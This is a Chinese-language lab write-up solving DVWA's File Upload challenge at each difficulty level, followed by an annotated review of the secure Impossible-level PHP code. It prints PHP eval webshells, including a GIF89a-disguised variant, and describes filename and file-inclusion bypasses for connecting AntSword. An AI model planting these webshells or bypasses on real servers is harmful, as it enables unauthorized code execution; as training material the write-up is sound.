[网络安全]DVWA之File Upload—AntSword(蚁剑)攻击姿势及解题详析合集

File Upload---low level

源码中无过滤:

上传包含一句话木马<?php @eval($_POST[qiushuo]);?>的文件qiu.php

回显上传成功:
将路径../../hackable/uploads/qiu.php与URLhttp://localhost/dvwa/vulnerabilities/upload/#拼接为http://localhost/dvwa/vulnerabilities/upload/../../hackable/uploads/qiu.php,密码qiushuo,连接蚁剑。

先测试连接:

连接成功后点击添加,再右键点击文件管理即可。

自此,DVWA之File Upload---low level解题结束。


URL中#的作用

#是用来指导浏览器动作的,不作用于服务器端。所以,HTTP请求中不包括#。

比如,访问下面的网址,

http://www.example.com/1.htmll#qiushuo.php

浏览器实际发出的请求是这样的:

GET /1.html HTTP/1.1

Host: www.example.com


File Upload---medium level

仍然上传qiu.php,页面回显如下:
源代码中对文件格式进行过滤:
修改qiu.php为qiu.jpg,上传。
由于jpg是不被解析的 ,所以需要抓包将文件格式修改为php 等。

如下图,将filename="qiu.jpg"修改为filename="qiu.php"

上传成功:
将路径与URL拼接,连接蚁剑。

以下步骤同上,不再赘述。
自此,DVWA之File Upload---medium level解题结束。


File Upload---high level

源码如下:

代码审计

复制代码
1.获取上传文件的信息,包括文件名、扩展名、大小和临时文件路径等。

2.判断上传的文件是否为 JPG、JPEG 或 PNG 图片,并且文件大小不超过 100000 字节(即100KB)。strtolower() 可以将字符串转换成小写;
getimagesize() 函数可以判断指定的文件是否为一种可识别的图像格式。

3.将合法的图片文件移动到指定的上传目录中,并输出上传成功的信息;否则输出相应的错误提示信息。

先上传常规木马文件
high等级强制了文件类型。由于文件类型与后缀名无关,所以修改文件后缀名不能绕过
更改图片头再上传

复制代码
GIF89a
<script language="php">eval($_POST['qiushuo']);</script> 

回显如下:
由于Burp修改文件格式发包只能绕过前端,所以此时抓包后将.jpg改为.php是不能绕过的。

文件包含

具体原理不再解释

有时候使用蚁剑登录网站可能需要提供用户名和密码等信息,在蚁剑中设置 Cookie,攻击者便可以在蚁剑中模拟登录目标站点,并保存站点返回的 Cookie 值,从而实现一些需要登录才能访问的功能,比如上传、下载文件等操作。

URL:http://localhost/dvwa/vulnerabilities/fi/?page=file:///D:/Software/PHPStudy/phpstudy_pro/WWW/dvwa/hackable/uploads/2.jpg(图片路径)

密码:qiushuo

获取cookie:

请求信息栏输入cookie:

以下操作同上,不再赘述。

自此,DVWA之File Upload---high level解题结束。

File Upload---Impossible level

源代码

复制代码
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='{$target_path}{$target_file}'>{$target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

代码审计

  1. 判断提交按钮是否被点击,并检查 Anti-CSRF token 是否合法。

    if( isset( _POST[ 'Upload' ] ) ) { // Check Anti-CSRF token checkToken( _REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    ...
    }

这里通过判断 $_POST[ 'Upload' ] 变量是否存在来判断前端页面是否提交了表单。如果提交了表单,则调用 checkToken() 函数来检查提交的 Anti-CSRF token 是否与当前会话中的 token 相等(即防止 CSRF 攻击)。

  1. 获取上传文件的相关信息,并定义目标存放路径和文件名等变量。

    // File information
    uploaded_name = _FILES[ 'uploaded' ][ 'name' ];
    uploaded_ext = substr( uploaded_name, strrpos( uploaded_name, '.' ) + 1); uploaded_size = _FILES[ 'uploaded' ][ 'size' ]; uploaded_type = _FILES[ 'uploaded' ][ 'type' ]; uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; target_file = md5( uniqid() . uploaded_name ) . '.' . uploaded_ext;
    temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . uploaded_name ) . '.' . uploaded_ext;

这里通过 $_FILES 变量获取了上传文件的名称、扩展名、大小、类型和临时文件名等信息,并将其保存到相应的变量中。然后,定义了存放目录、目标文件名和临时文件名三个变量。

  1. 检查上传文件是否符合要求。

    // Is it an image?
    if( ( strtolower( uploaded_ext ) == 'jpg' || strtolower( uploaded_ext ) == 'jpeg' || strtolower( uploaded_ext ) == 'png' ) && ( uploaded_size < 100000 ) &&
    ( uploaded_type == 'image/jpeg' || uploaded_type == 'image/png' ) &&
    getimagesize( $uploaded_tmp ) ) {
    ...
    }

这里使用了一系列条件语句来检查上传文件是否符合要求。首先,检查上传文件的扩展名是否为 jpg、jpeg 或 png;然后,检查文件大小是否小于 100KB;接着,检查文件 MIME 类型是否为 image/jpeg 或 image/png;最后,调用 getimagesize() 函数检测上传文件是否是真正的 JPG、JPEG 或 PNG 图片。如果满足以上所有条件,则进入下一步操作。

  1. 将临时文件转换为 JPEG 或 PNG 格式的图片,并保存到目标存放路径中。

    // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
    if( uploaded_type == 'image/jpeg' ) { img = imagecreatefromjpeg( uploaded_tmp ); imagejpeg( img, temp_file, 100); } else { img = imagecreatefrompng( uploaded_tmp ); imagepng( img, temp_file, 9); } imagedestroy( img );

    // Can we move the file to the web root from the temp folder?
    if( rename( temp_file, ( getcwd() . DIRECTORY_SEPARATOR . target_path . target_file ) ) ) { // Yes! echo "

    {target_file} succesfully uploaded!
    ";
    }
    else {
    // No
    echo '
    Your image was not uploaded.
    ';
    }

    // Delete any temp files
    if( file_exists( temp_file ) ) unlink( temp_file );

这里首先根据文件类型使用 imagecreatefromjpeg() 或 imagecreatefrompng() 函数创建一个新的图片资源,并使用 imagejpeg() 或 imagepng() 函数将其保存为 JPEG 或 PNG 格式的图片,存放到临时文件中。然后,使用 rename() 函数将临时文件移动到指定的目录中,作为最终的上传文件。如果移动成功,则输出上传成功的消息;否则,输出上传失败的消息。最后,删除任何临时文件(如果存在)。

  1. 生成新的 Anti-CSRF token。

    // Generate Anti-CSRF token
    generateSessionToken();

这里调用了 generateSessionToken() 函数,生成一个新的 Anti-CSRF token,以便下一次提交时使用。

自此,DVWA之File Upload---high level解题结束。

相关推荐
用户962377954489 小时前
DVWA 靶场实验报告 (High Level)
安全
火柴就是我10 小时前
让我们实现一个更好看的内部阴影按钮
android·flutter
数据智能老司机13 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机13 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户9623779544814 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star14 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
砖厂小工16 小时前
用 GLM + OpenClaw 打造你的 AI PR Review Agent — 让龙虾帮你审代码
android·github
张拭心17 小时前
春节后,有些公司明确要求 AI 经验了
android·前端·人工智能
张拭心17 小时前
Android 17 来了!新特性介绍与适配建议
android·前端
用户9623779544818 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全